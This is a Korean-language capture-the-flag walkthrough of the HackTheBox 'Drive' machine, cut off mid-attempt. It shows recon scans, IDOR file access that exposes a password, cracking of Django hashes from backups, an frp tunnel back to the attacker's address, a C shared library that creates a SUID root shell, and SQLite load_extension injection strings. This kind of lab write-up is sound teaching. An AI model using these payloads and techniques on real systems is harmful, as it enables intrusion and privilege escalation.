Post

HTB Drive

HackTheBox 오픈베타 시즌3의 3번째 머신으로 Linux 환경의 머신의 어려움 난이도로 출시되었다. 이번 포스팅에서는 Drive 머신의 해결 과정을 기록한다.

Recon

PortScan

rustscan으로 빠르게 오픈된 포트만 확인 후 nmap을 통해 자세한 포트 스캔을 진행하였다. 포트 스캔 결과로 22/tcp, 80/tcp가 확인되며 OS System은 Ubuntu로 확인되며, drive.htb라는 호스트명을 가진것으로 파악된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:51 KST
Nmap scan report for 10.129.63.166
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
|   256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_  256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelg

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds

WEB

웹 서비스를 탐색하기 전 서브 도메인이 존재하는지 파악하기위해 스캔을 먼저 진행해본 결과, 스캔한 워드리스트에서 탐지할 수 있는 서브도메인은 발견되지 않았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://drive.htb
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/vhost-wordlist.txt
 :: Header           : Host: FUZZ.drive.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
 :: Filter           : Response words: 0
________________________________________________

:: Progress: [20575/20575] :: Job [1/1] :: 179 req/sec :: Duration: [0:01:56] :: Errors: 0 ::

drive.htb:80

/etc/hosts에 nmap 스캔에서 확인된 호스트명을 등록 후 웹 서비스 접근 시 아래와 같이 Google Drive가 아닌 Doodle Grive라는 웃기는 네이밍으로 반겨준다.

Desktop View

대상을 살펴보기전 httpx를 통해 웹 사이트가 사용중인 스펙을 확인해보니 아래와 같이 확인된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
╭─juicemon@juicemon-mac ~/Desktop/HTB/Drive
╰─$ httpx -u 'http://drive.htb' -tech-detect

    __    __  __       _  __
   / /_  / /_/ /_____ | |/ /
  / __ \/ __/ __/ __ \|   /
 / / / / /_/ /_/ /_/ /   |
/_/ /_/\__/\__/ .___/_/|_|
             /_/

		projectdiscovery.io

[INF] Current httpx version v1.3.5 (outdated)
http://drive.htb [Bootstrap,Django,Nginx:1.18.0,OWL Carousel,Python,Ubuntu,jQuery]

대상으로 디렉터리 스캔을 진행하니 아래와 같이 스캔 결과를 확인할 수 있었다. 스캔 결과에서 흥미로워 보이는 경로는 upload 정도로 보이나 드라이브 서비스를 모방한 웹 서비스로 보여 페이지에서 보이는 메뉴를 먼저 훑어보는것으로 방향을 정했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://drive.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 1542, Words: 262, Lines: 55, Duration: 305ms]
contact                 [Status: 200, Size: 6923, Words: 1410, Lines: 144, Duration: 296ms]
logout                  [Status: 200, Size: 14647, Words: 3681, Lines: 307, Duration: 306ms]
uploads                 [Status: 200, Size: 1542, Words: 262, Lines: 55, Duration: 229ms]
register                [Status: 200, Size: 2077, Words: 437, Lines: 73, Duration: 928ms]
upload                  [Status: 200, Size: 1542, Words: 262, Lines: 55, Duration: 232ms]
home                    [Status: 200, Size: 3315, Words: 667, Lines: 134, Duration: 246ms]
reports                 [Status: 200, Size: 2125, Words: 290, Lines: 93, Duration: 229ms]
subscribe               [Status: 500, Size: 145, Words: 11, Lines: 11, Duration: 248ms]

로그인을 위해 회원가입이 가능히며, 잔달되는 POST 데이터에서 흥미로운 데이터는 존재하지 않았다.

Desktop View

어찌됐건 회원가입을 완료 후 로그하면 파일을 업로드하고 다운로드 할 수 있는 기능들을 확인할 수 있다.

Desktop View

업로드 취약점을 확인하기위해 업로드 메뉴에 접근 시 텍스트 파일만 업로드 가능하며, 파일 사이즈가 2MB를 넘길 경우 업로드가 불가능하다는 정보를 확인할 수 있다.

Desktop View

httpx 스캔 결과에서 백앤드로 Django가 식별되었었고 테스트 파일을 업로드 할 경우 파일의 내용이 웹 페이지에 출력되기에 SSTI공격을 시도해보기로한다.

Desktop View

Payload All The Things - SSTI의 대부분의 페이로드를 사용해 보았으나, SSTI가 동작하지않았다.

Desktop View

다양한 기능을 테스트하던중 파일을 업로드하면 해당 파일에는 File Index로 추정되는 정수 값을 통해 구별되고있다. 예시로 가장 처음에 테스트로 업로드했던 게시글에 접근 시 아래와 같은 HTTP Request를 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
GET /113/getFileDetail/ HTTP/1.1
Host: drive.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://drive.htb/home/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: csrftoken=M9Go7ak3f99CIcFEvRXfWlVYV5AzkltC; sessionid=lnfuypbpmb9ghh1isvp6pksd1uwvk13m
Connection: close

위 내용을 이용하여 파일 인덱스 값을 무차별대입하여 현재 업로드된 파일들의 값을 확인하니 아래와 같은 인덱스들을 식별할 수 있었다.

회원가입 후 바로 접근하자마자 누구나 볼 수 있었던 파일과, 테스트를 위해 업로드한 파일들은 200 OK를 확인할 수 있었고, 로그인한 계정에서 접근 불가능한 파일들은 401 Unauthorized를 확인하여 파일이 존재하는 것을 확인할 수 있었다.

Desktop View

이후 짱구를 굴리다가 /{fileIdx} 경로로 컨트롤러들이 존재할것으로 파악하여 접근 불가능한 파일 인덱스를 대상으로 스캔을 진행했다.

스캔 결과에서 Status 200으로 확인되는 /{fileIdx}/block URI가 확인되어 IDOR이 가능할 것 같은 느낌을 받았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://drive.htb/79/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Header           : Cookie: csrftoken=M9Go7ak3f99CIcFEvRXfWlVYV5AzkltC; sessionid=lnfuypbpmb9ghh1isvp6pksd1uwvk13m
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

update                  [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 228ms]
block                   [Status: 200, Size: 5446, Words: 1216, Lines: 175, Duration: 236ms]
delete                  [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 226ms]

Foothold

포트 스캔 결과에서 확인되는 웹 서비스에는 서브 도메인이 없는것으로 파악되었으며, 메인 도메인에서 운영중인 Doodle Grive는 파일을 업로드하고 공유하는 기능을 하는것으로 파악되었다. 또 파일 인덱스를 통해 각 파일을 사용자가 컨트롤 할 수 있는 기능들이 존재하는데 이를 역이용하여 무차별대입을 통해 업로드된 파일들의 인덱스 값을 확인할 수 있었고 파일 인덱스를 경로로 하위 디렉터리를 스캔하여 발견된 block 경로에서 200 OK를 응답받을 수 있었다.

IDOR

위 내용을 기반으로 현재 접근 불가능한것으로 확인되는 파일의 인덱스 값인 79, 99, 100, 102 파일에 각각 요청을 진행하였으며 아래와 같이 파일의 내용을 확인할 수 있었고, 그중 79번 인덱스의 파일 내용에서 martin 계정의 패스워드를 확인할 수 있었다.

Desktop View

Users

martin

IDOR을 통해 타사용자가 업로드한 파일을 확인하여 martin 계정의 패스워드가 담긴 내용을 확인할 수 있었으며, 해당 계정정보를 통해 SSH 접근이 가능하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
╭─juicemon@juicemon-mac ~/Desktop/HTB/Drive
╰─$ ssh martin@drive.htb                                                                                        130 ↵
martin@drive.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 09 Nov 2023 09:52:55 AM UTC

  System load:           0.2
  Usage of /:            63.3% of 5.07GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.129.63.166
  IPv6 address for eth0: dead:beef::250:56ff:feb0:b87e


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

martin@drive:~$ id
uid=1001(martin) gid=1001(martin) groups=1001(martin)

이후 /etc/passwd에서 martin 계정 외 cris, tom 사용자가 존재하는것을 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
martin@drive:/opt$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
...
...
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash
...
...
...

/var/www/backups

/opt 경로에서 www-data 서비스 계정의 소유로 확인되는 스크립트 파일이 확인되어 역으로 서비스 계정의 권한을 획득해야되는 것으로 예상하여 /var/www 경로에 도달하니 backups 디렉터리가 존재하였으며, 해당 디렉터리에는 sqlite3 파일을 7z으로 압축한 백업 파일과 압축되지않은 db.sqlite3를 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
martin@drive:/var/www/backups$ ls -al
total 3740
drwxr-xr-x 2 www-data www-data    4096 Sep  1 18:23 .
drwxr-xr-x 5 root     root        4096 Sep 15 13:34 ..
-rw-r--r-- 1 www-data www-data   13018 Sep  1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data   12226 Sep  1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data   12722 Sep  1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data   12770 Sep  1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root     root     3760128 Dec 26  2022 db.sqlite3

모든 파일을 공격자 PC로 전송하여 가장 먼저 압축되지않은 db.sqlite3 파일을 확인하니 5개의 유저명과 SHA1으로 해싱된 해시를 확인할 수 있었다.

Desktop View

해당 내용을 hashcat을 통해 크랙이 가능한지 확인하기 위해 아래와 같이 hashes.txt를 작성하였다.

1
2
3
4
5
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3

이후 hashcat을 동작하니 해당 해시는 Django(SHA1) 해시 타입으로 확인되었으며, tomHands 계정의 패스워드를 크랙 성공하였다!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash.txt /usr/share/wordlists/rockyou.txt --user
...
...
...

┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash.txt /usr/share/wordlists/rockyou.txt --user --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

124 | Django (SHA-1) | Framework

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316

해당 계정은 /etc/passwd에서 확인한 tom 계정으로 추정되어 SSH 접근 시도하니 해당 계정이 아닌것인지, 패스워드가 변경된것인지 알 수는 없지만 로그인이 불가능했다.

1
2
3
% ssh tom@drive.htb
tom@drive.htb's password:
Permission denied, please try again.

db_backup.sqlite3.7z

/var/www/backups에서 확인된 7z으로 압축된 다양한 압축 파일들은 아래와 같이 암호가 걸려있어 확인이 불가능했다. 위에서 확인한 tomHands의 패스워드를 사용해도 열람이 불가능했다.

Desktop View

Gitea

위에서 7z파일을 크랙하기위해 7z2john을 활용하여 해시를 추출해 john the ripper로 크랙 시도하려했으나, 추출되는 해시가 존재하지않았다. 그렇기에 다시 다른쪽으로 눈을 돌려 시스템을 정찰하는 과정에서 로컬에서 서비스 중인 3000/TCP포트를 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
martin@drive:/tmp$ netstat -ntlp;
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::3000                 :::*                    LISTEN      -

위에서 3306/TCP로 서비스 중인 MySQL의 경우 접속 가능한 계정 정보를 확인할 수 없어 접속이 불가능하여 3000/TCP 서비스를 확인해보니 쿠키값 중 일부를 통해 Gitea라는 것을 확인할 수 있었다.

1
2
3
4
martin@drive:/tmp$ curl http://localhost:3000/ -I
HTTP/1.1 200 OK
Set-Cookie: i_like_gitea=29ea5f4d4b748517; Path=/; HttpOnly; SameSite=Lax
Date: Tue, 17 Oct 2023 07:16:42 GMT

gitea 레포지토리에 접근하려면 내부에서만 접근이 가능하기에 탈취한 martin 계정으로 frp를 업로드하고 공격자 PC로 3000/tcp 포트를 바인딩한다.

frp - 공격자

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/frp_0.52.1_linux_amd64]
└─# cat frps.toml
# frps.toml
bindPort = 7000

┌──(root㉿kali)-[~/Desktop/frp_0.52.1_linux_amd64]
└─# ./frps -c frps.toml
2023/10/17 03:32:23 [I] [root.go:102] frps uses config file: frps.toml

ftp - martin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
martin@drive:/tmp$ cat frpc.toml
# frpc.toml
serverAddr = "10.10.14.23"
serverPort = 7000

[[proxies]]
name = "gitea"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3000
remotePort = 3000

martin@drive:/tmp$ ./frpc -c ./frpc.toml
2023/10/17 07:35:20 [I] [root.go:139] start frpc service for config file [./frpc.toml]
2023/10/17 07:35:20 [I] [service.go:299] [ff23890f40a8ed13] login to server success, get run id [ff23890f40a8ed13]
2023/10/17 07:35:20 [I] [proxy_manager.go:156] [ff23890f40a8ed13] proxy added: [gitea]
2023/10/17 07:35:21 [I] [control.go:173] [ff23890f40a8ed13] [gitea] start proxy success

리버스 프록시가 정상 동작하면서 공격자 PC에서 gitea에 접근이 가능한 환경을 구성하였다.

Desktop View

gitea에서 계정 생성이 자유로운것으로 파악되어 juicemon 계정을 생성하여 로그인했으나, 접근 가능한 레포지토리는 확인할 수 없었으며, 아래와 같은 gitea 사용자를 확인할 수 있었다.

Desktop View

그중 IDOR로 확인된 martin의 패스워드를 이용해 martinCruz 계정에 로그인이 가능했으며, martin 권한의 쉘에서 접근 불가능했던 /var/www/DoodleGrive 경로에 배포된 소스코드로 보이는 레포지토리를 확인할 수 있었다.

Desktop View

해당 레포지토리에는 db_backup.sh 파일이 존재하는데 스크립트 내 7z을 압축할 때 사용한 패스워드 정보를 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'PASSWORD' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp

확인된 7z 패스워드를 이용하여 /var/www/backups에서 확인된 여러 7z파일을 압축 해제할 수 있으며, 해당 압축파일 내 또다른 db.slite3 파일이 존재했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿kali)-[~/Desktop/drive/tmp]
└─# 7z x ./1_Dec_db_backup.sqlite3.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs 12th Gen Intel(R) Core(TM) i9-12900KF (90672),ASM,AES-NI)

Scanning the drive for archives:
1 file, 13018 bytes (13 KiB)

Extracting archive: ./1_Dec_db_backup.sqlite3.7z
--
Path = ./1_Dec_db_backup.sqlite3.7z
Type = 7z
Physical Size = 13018
Headers Size = 170
Method = LZMA2:22 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
Everything is Ok

Size:       3760128
Compressed: 13018

┌──(root㉿kali)-[~/Desktop/drive/tmp]
└─# tree
.
├── 1_Dec_db_backup.sqlite3.7z
└── DoodleGrive
    └── db.sqlite3

각각 압축을 해제하여 확인되는 sqlite3 파일들을 하나씩 확인하니 압축되지않았기에 확인할 수 있었던 sqlite3의 내용가 일부 다른 부분들이 존재하여 대조해보니 패스워드 해시가 일부 다른것으로 파악되었다.

Desktop View

hashcat

hash crack - 1_Dec_db_backup.sqlite3.7z

압축해제된 sqlite3의 내용을 기반으로 아래와 같이 해시 리스트를 구성 후 다시 한번 해시를 크랙 시도 결과 Django (PBKDF2-SHA256) 해시 타입을 사용하지만 크랙이 불가했다.

1
2
3
4
5
admin:pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=
jamesMason:pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=
martinCruz:pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=
tomHands:pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=
crisDisel:pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=

hash crack - 1_Nov_db_backup.sqlite3.7z

다음 백업 파일에서도 동일해서 해시를 추출하여 크랙 시도를 진행한다.

1
2
3
4
5
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3

운좋게도 이번 sqlite3 파일내 패스워드 해시중 다시한번 tomHands 계정의 패스워드가 크랙되었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash3.txt /usr/share/wordlists/rockyou.txt --user
...
...
...

┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash3.txt /usr/share/wordlists/rockyou.txt --user --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

124 | Django (SHA-1) | Framework

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:PASSWORD

tom

위에서 백업 파일을 하나하나 압축 해제 후 DB에서 패스워드 해시를 추출해 hashcat으로 크랙하여 tomHands 계정의 패스워드를 알 수 있었다. 크랙되었던 패스워드는 사용이 불가능했지만 이번에 크랙된 패스워드는 tom 계정으로 로그인이 가능했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~]
└─# ssh tom@10.129.84.217
tom@10.129.84.217's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 17 Oct 2023 08:21:38 AM UTC

  System load:           0.0
  Usage of /:            63.8% of 5.07GB
  Memory usage:          24%
  Swap usage:            0%
  Processes:             234
  Users logged in:       1
  IPv4 address for eth0: 10.129.84.217
  IPv6 address for eth0: dead:beef::250:56ff:feb0:11c


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Oct  9 09:19:30 2023 from 10.10.14.40
tom@drive:~$ id
uid=1003(tom) gid=1003(tom) groups=1003(tom)

Privilege Escalation

tom 계정의 쉘에 접근하여 홈디렉터리를 확인하면 아래와 같이 root 권한으로 SetUID가 활성화된 파일인 doodleGrive-cli를 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
tom@drive:~$ ls -al
total 916
drwxr-x--- 6 tom  tom    4096 Sep 13 13:51 .
drwxr-xr-x 6 root root   4096 Dec 25  2022 ..
lrwxrwxrwx 1 root root      9 Sep  6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom  tom     220 Dec 25  2022 .bash_logout
-rw-r--r-- 1 tom  tom    3771 Dec 25  2022 .bashrc
drwx------ 3 tom  tom    4096 Jan  1  2023 .cache
drwx------ 3 tom  tom    4096 Feb  3  2023 .config
-rwSr-x--- 1 root tom  887240 Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom  tom    4096 Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom    4096 Dec 28  2022 .local
-rw-r--r-- 1 tom  tom     807 Dec 25  2022 .profile
-rw-r----- 1 root tom     719 Feb 11  2023 README.txt
-rw-r----- 1 root tom      33 Oct 17 03:34 user.txt
-rw-r--r-- 1 tom  tom      39 Aug 29 05:59 .vimrc

tom@drive:~$ file doodleGrive-cli
doodleGrive-cli: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8c72c265a73f390aa00e69fc06d96f5576d29284, for GNU/Linux 3.2.0, not stripped

doodleGrive-cli

실행해보니 아직 개발단계라 문제있으면 제보해달라고하며, 알고있는 모든 계정정보를 입력해봤지만 전부 사용 불가능했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
tom
Enter password for tom:
johnmayer7
Invalid username or password.

tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
martin
Enter password for martin:
Xk4@KjyrYv8t194L!
Invalid username or password.

tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
tomHands
Enter password for tomHands:
johnmayer7
Invalid username or password.

tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
martinCruz
Enter password for martinCruz:
Xk4@KjyrYv8t194L!
Invalid username or password.

해당 파일을 공격자 PC로 옮겨서 분석해보니 인증 시 사용되는 계정정보가 하드코딩 되어있는 것을 확인할 수 있었다.

Desktop View

해당 정보를 통해 간단한 인증을 우회할 수 있었고 인증이 성공하여 메뉴가 출력된다.

1
2
3
4
5
6
7
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit

activate user account

5번 옵션인 activate user account 기능을 처리하는 함수의 일부에서 아래와 같이 system 함수 호출을 확인할 수 있었다.

Desktop View

system 함수가 실행되기에 여러가지 방법으로 커멘드 인젝션을 진행했다. 하지만 사용자의 입력값을 필터링하는 목적으로 보이는 sanitize_string 함수를 간과하고 진행하다보니 엄청 오래 걸렸다.

해당 함수는 특수문자 필터링, 문자열 길이 제한하여 반환하는 기능을 한다.

SQL Injection - load_extension

해당 cli 프로그램은 sqlite를 사용하는데 sqlite에서 외부 라이브러리를 로드하여 실행할 수 있는것을 hahwul 블로그를 통해 알 수 있었다.

예전에 사용하던 Velog에 포스팅한 HTB Zipping에서 사용했던 것처럼 공유라이브러리를 제작해 로드될 시 실행되는 init 생성자 함수에 /bin/bash 를 복사하고 SetUID를 활성화 하는 코드 제작했다.

1
2
3
4
5
6
7
8
tom@drive:~$ cat ./lib.c
#include <unistd.h>

void init (void) __attribute__((constructor));

void init (void) {
	system("/usr/bin/cp /bin/bash /tmp/bash && /usr/bin/chmod u+s /tmp/bash");
}

이후 라이브러리 형태로 빌드하여 tom의 홈디렉터리에 pwn.so라는 아웃풋으로 빌드한다.

1
tom@drive:~$ gcc -shared -o /home/tom/pwn.so -fPIC lib.c

이후 다시 cli 프로그램을 실해앟면서 아래와 같이 username을 조작하여 where절을 조작하여 빌드한 라이브러리를 로드할 수 있도록 유도한다.

1
2
3
4
Select option: 5
Enter username to activate account: \"+load_extension(\"./pwn.so\")--;
Activating account for user '"+load_extension(pwn.so")--'...
Error: near "")--"": syntax error

더블쿼터 이스케이프 구문에서 에러가 난것같아 load_extension 함수 내 이스케이프를 제거했다.

하지만 sanitize_string 함수로 인해 ./pwn.so.pwn.so 로 변경되었다.

1
2
3
Enter username to activate account: \"+load_extension("./pwn.so")--;
Activating account for user '"+load_extension(".pwn.so")--'...
Error: .pwn.so.so: cannot open shared object file: No such file or directory

sqli시 자주 사용되는 아스키를 통한 우회를 시도했다. 하지만 "+load_extension(char(46,47,112,119,110,46,115,111))–; 구문이 “+load_extension(char(46,47,112,119,11 로 변경된것을 볼 수 있다.

그렇다. 또 위에서 계속 언급했던 sanitize_string 함수로 인해 입력값 길이 검증으로 문자열이 짤린것이다.

1
2
3
4
Select option: 5
Enter username to activate account: \"+load_extension(char(46,47,112,119,110,46,115,111))--;
